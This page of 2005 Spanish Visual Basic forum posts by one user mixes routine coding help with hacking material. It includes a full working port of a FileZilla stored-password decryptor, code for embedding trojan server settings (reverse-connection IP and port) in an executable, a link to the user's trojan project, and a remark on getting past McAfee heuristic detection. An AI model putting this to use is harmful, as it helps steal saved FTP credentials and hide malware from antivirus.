Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - xavierote

#51
Programación Visual Basic / Re: Binder
3 Octubre 2005, 22:39 PM
El caso es que M@rT1n sabe perfectamente como guardar la configuración en un ini, por eso pide un binder. Pero yo le he dado otra opción más limpia, ya que no necesita una utilidad externa para guardar la configuración en el propio ejecutable.
Aunque no siempre está de más recordar funciones útiles para los que no las conozcan.

Saludos!!
#52
Programación Visual Basic / Re: Binder
3 Octubre 2005, 20:03 PM
Si no te va el generador de server será porque no tienes el servidor compilado en la misma carpeta del cliente.

De todas formas, te pongo un ejemplo de como guardar y cargar variables de un ejecutable que te acabo de hacer.

Primero de todo tienes que crear en un formulario 3 cuadros de texto y 2 botones, uno para guardar y otro para cargar.
Para ver como funciona te recomiendo que utilices un editor hexadecimal una vez guardado el archivo.

NOTA: No utilices espacios, porque no lo he programado para que tenga espacios, aunque es fácil modificarlo.
También utiliza una ruta correcta, ya que lo que hará si no existe el archivo será crear uno nuevo.

Guardar variables:
Private Function GuardarVariables(NombreArchivo As String)
   Dim foo                 As Integer         'Número archivo
   Dim Texto1(99)          As String          'Reservamos 100 espacios para el Text1
   Dim Texto2(99)          As String          'Reservamos 100 espacios para el Text2
   Dim Texto3(99)          As String          'Reservamos 100 espacios para el Text3.
   Dim PosicionActual      As Long            'Variable que utilizaremos para saber cuál es la posición actual.
   Dim i                   As Integer
   
   foo = FreeFile                             'Proporciona un número de archivo libre.
   
   For i = 0 To Len(Text1)
       Texto1(i) = Mid$(Text1.Text, i + 1, 1)
   Next i
   
   For i = 0 To Len(Text2)
       Texto2(i) = Mid$(Text2.Text, i + 1, 1)
   Next i
   
   For i = 0 To Len(Text3)
       Texto3(i) = Mid$(Text3.Text, i + 1, 1)
   Next i
   
   Open NombreArchivo For Binary As #foo                   'Abre el archivo <NombreArchivo> para acceder en modo binario.
       PosicionActual = LOF(foo)                           'Obtiene el tamaño del archivo en bytes para obtener el primer byte vacío.
       
       For i = 0 To 99                                     '|
           PosicionActual = PosicionActual + 1             '| Posicion actual, cuando i = 0, obtiene el primer valor libre
           If Texto1(i) = "" Then                          '| Si la varible texto1 está vacía
               Put #foo, PosicionActual, 0                 '| Guarda en el archivo un valor 0
           Else                                            '|
               Put #foo, PosicionActual, Asc(Texto1(i))    '| Si no está vacía la variable guarda en valor ascii la letra del texto correspondiente.
           End If
       Next i
       
       'Se repite para la matriz Texto2
       For i = 0 To 99
           PosicionActual = PosicionActual + 1
           If Texto2(i) = "" Then
               Put #foo, PosicionActual, 0
           Else
               Put #foo, PosicionActual, Asc(Texto2(i))
           End If
       Next i
       
       'Se repite para la matriz Texto3
       For i = 0 To 99
           PosicionActual = PosicionActual + 1
           If Texto3(i) = "" Then
               Put #foo, PosicionActual, 0
           Else
               Put #foo, PosicionActual, Asc(Texto3(i))
           End If
           If i = 99 Then
               Stop
           End If
       Next i
   Close #foo
End Function


Cargar variables:
Private Function CargarVariables(NombreArchivo As String)
   Dim foo                 As Integer
   Dim Obteniendo          As Byte
   Dim Texto               As String
   Dim TamañoArchivo       As Long
   Dim PosicionActual      As Long
   Dim i                   As Integer
   
   foo = FreeFile
   
   Open NombreArchivo For Binary As #foo
       TamañoArchivo = LOF(foo)
       PosicionActual = TamañoArchivo - 300               'Se le resta 300 al tamaño del archivo por ser el resultado de la suma de los espacios reservados anteriormente
       
       For i = 0 To 99
           Get #foo, PosicionActual, Obteniendo
           If Obteniendo <> 0 Then
               Texto = Texto & Chr$(Obteniendo)
               PosicionActual = PosicionActual + 1
           Else
               PosicionActual = PosicionActual + (100 - Len(Texto))
               Exit For
           End If
       Next i
       
       Text1.Text = Texto
       Texto = ""
       
       For i = 0 To 99
           Get #foo, PosicionActual, Obteniendo
           If Obteniendo <> 0 Then
               Texto = Texto & Chr$(Obteniendo)
               PosicionActual = PosicionActual + 1
           Else
               PosicionActual = PosicionActual + (100 - Len(Texto))
               Exit For
           End If
       Next i
       
       Text2.Text = Texto
       Texto = ""
       
       For i = 0 To 99
           Get #foo, PosicionActual, Obteniendo
           If Obteniendo <> 0 Then
               Texto = Texto & Chr$(Obteniendo)
               PosicionActual = PosicionActual + 1
           Else
               Exit For
           End If
       Next i
       
       Text3.Text = Texto
   Close #foo
End Function


Botones:
Private Sub Command1_Click()
   GuardarVariables "archivo.exe"
End Sub

Private Sub Command2_Click()
   CargarVariables "archivo.exe"
End Sub
#53
Programación Visual Basic / Re: Binder
3 Octubre 2005, 10:15 AM
Más limpio pero no más sencillo sería guardar la configuración de tu server en el mismo server. Me explico:
puedes guardar valores en el propio ejecutable siempre y cuando no modifique el archivo, es decir, al final del archivo. Luego, simplemente habría que leerlos con un
open "archivo" for binary as #1, por ejemplo.

Si no sabes como hacerlo, el troyano incompleto que hice que publiqué en el foro hace algún tiempo, en el servidor guarda los valores de configuración, como la ip y el puerto que se va a conectar con una conexión inversa.

Link de descarga:
http://dl1.rapidshare.de/files/3092209/41685679/Proyecto_BaNTRoJaN.rar

Saludos!!
#54
Programación Visual Basic / Re: Colocar letras
3 Octubre 2005, 09:49 AM
Yo lo que haría con tu parte que has programado, sería en vez de utilizar un montón de comparaciones, sería crear una variable y meter ahí el abecedario, para luego sacar las letras por la función mid$(). Por ejemplo:

Private Sub Command1_Click()
Dim Num As String
Dim Cuenta As Byte
Dim Abecedario as String

Abecedario = "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ"
Text1 = ""
Math.Randomize

Do While Not Cuenta = 26
    Num = Int(Rnd * 26)
    Cuenta = Cuenta + 1
    Num = Mid$(Abecedario, Num + 1, 1)        ' La posición empieza por el valor 1, y no 0, por tanto, como el RND genera valores de 0 a 26, se le suma 1.
    Text1 = Text1 & Num
Loop
End Sub


También se podría utilizar la función Chr() para sacar también una letra del abecedario al azar. Pero eso ya es cuestión de imaginación.

Saludos!!
#55
Programación Visual Basic / Re: Ayuda!
7 Septiembre 2005, 01:03 AM
Private Sub Command1_Click()
    text1.text = winsock1.localip
End Sub


Y si quieres que te salga delante http:// simplemente pon:
Private Sub Command1_Click()
    text1.text = "http://" & winsock1.localip
End Sub


NOTA: Si tu conexión es a través de LAN, por ejemplo un router, te saldrá la ip local, no la establecida por el proveedor.
#56
Port del programa para descifrar contraseñas del cliente ftp FileZilla de C a Visual Basic.

Colocar el código en un módulo y llamar a la función:
obtenercontraseña = DesencriptarContraseña(Contaseña)

Ejemplo:
Text2.Text = DesencriptarContraseña(Text1.Text)
Código original:
http://www.securityfocus.com/data/vulnerabilities/exploits/FileZilla_pass.c

'****************************************************************
'*   modDecryptFZilla.bas                                       *
'*   descifra las contraseñas que se almacenan en:           *
'*      HKEY_CURRENT_USER\Software\FileZilla\Recent Servers\    *
'*   por el cliente FileZilla.                                  *
'*                                                              *
'*   La función digit2char convierte de 3 en 3 de ascii a char. *
'*   La función decrypt realiza los cálculos para descifrar  *
'*   cadena obtenida con digit2char.                            *
'*                                                              *
'*   Port de C a Visual Basic por xavierote (Javier Ferre)      *
'*   Código original por: Unknown Author                        *
'****************************************************************

Option Explicit

Dim password            As String

Private Function digit2char(buff As String) As Integer
    Dim ascii_buff          As String
    Dim i                   As Integer
    Dim j                   As Integer
    Dim longitud            As Integer
    Dim tmp_buffer          As Integer
   
    longitud = Len(buff) / 3                'longitud del password
   
    For i = 0 To Len(buff) - 1 Step 3
        tmp_buffer = Mid$(buff, i + 1, 3)   'obtiene los digitos de 3 en 3 para convertir a Char
       
        If tmp_buffer > 255 Then            'Si un valor es mayor de 255, da error
            MsgBox "La contraseña introducida no es correcta debido a que el valor obtenido, cada 3 digitos, es mayor de 255." & vbCrLf & "Valor obtenido: " & tmp_buffer, vbCritical, "Error"
            Exit Function
        End If
        ascii_buff = ascii_buff & Chr$(tmp_buffer)
    Next i
   
    password = ascii_buff
    digit2char = longitud
End Function

Private Function decrypt(buff As String) As Integer
    Dim i                   As Integer
    Dim pos                 As Integer
    Dim longitud            As Integer
    Dim buffer_final        As String
    Dim convirtiendo        As Integer
    Dim operando            As Integer
    Dim resultado           As Integer
    Dim m_key               As String
   
    m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
   
    If (Len(buff) Mod 3) = 0 Then        'Si es múltiplo de 3, descifra
        longitud = digit2char(buff)      'A parte de convertir los números en cadena de texto, obtiene la longitud de la cadena resultante
        pos = longitud Mod Len(m_key)    'Obtiene la posición inicial para el m_key
       
        For i = 0 To longitud - 1        'Como empieza desde el 0, la longitud será uno menos
            convirtiendo = Asc(Mid$(password, i + 1, 1))      'Convierte el carácter actual en valor ascii para hacer los cálculos
            operando = Asc(Mid$(m_key, (i + 1 + pos) Mod Len(m_key), 1))     'Cálculos para la decodificación
            resultado = Int(convirtiendo Xor operando)        'Xor de las 2 variables anteriores.
           
            buffer_final = buffer_final & Chr$(resultado)     'Hallando todos los carácteres
        Next i
       
        password = buffer_final
        decrypt = longitud
       
    Else       'Si no es múltiplo de 3
        MsgBox "El password introducido no es correcto, debe ser múltiplo de 3", vbCritical, "Error"
        password = ""
    End If
End Function

Public Function DesencriptarContraseña(Pass As String) As String
decrypt Pass          'Llama a la función decrypt introduciendo el valor de la cadena Pass
DoEvents              'Espera a que se realicen los cálculos
DesencriptarContraseña = password    'Devuelve la contraseña descifrada
End Function


Saludos!!
#57
YeIKoS, yo no te obligo a que utilices estos módulos. Más que nada los he puesto aquí porque yo lo que veo interesante es que por ejemplo, si no sabes utilizar las api's de windows, esto es un buenísimo ejemplo de como utilizarlas, y sobre todo interesante sobre el control de ficheros, en el que se incluyen casi todas las api's.
Ya se que con una sola línea de código se pueden borrar los archivos con el comando kill y más comandos de una sóla línea... pero lo que te dicho antes...
De todas formas, utilicé varios comandos del visual basic para el control de archivos cuando hice mi troyano y lo detectaba, con el escaneo heurístico, el McAfee 9.0 como un archivo que contiene comandos peligrosos. Solución: llamadas a unas cuantas api's y arreglado.

Saludos!
#58
Si a alguien le pasa como a reydelmundo11 que tiene problemas de visualización con el post: http://foro.elhacker.net/index.php/topic,84901.msg393541.html#msg393541, puede descargárselo de:

http://rapidshare.de/files/4643405/apis.zip.html

Dentro del archivo:
       - modAPI.bas (Imprescindible incluirlo, contiene todas las llamadas a las API's necesarias para los siguientes módulos)
       - modDraw_Base (Contiene funciones para el manejo de gráficos)
       - modMath_Color (Contiene funciones para el cambio de colores de visual basic, RGB, CMY...
       - modFileSystem (Contiene funciones para el manejo de archivos como copiar, borrar, crear carpetas, propiedades del archivo, comprobar si existe...)
       - modTextMan (Rutinas para el manejo de cadenas de texto)
#59
Este post incluía el código de modTextMan.bas, actualmente en el otro post.
#60
Este post incluía el código de modFileSystem.bas, actualmente en el otro post.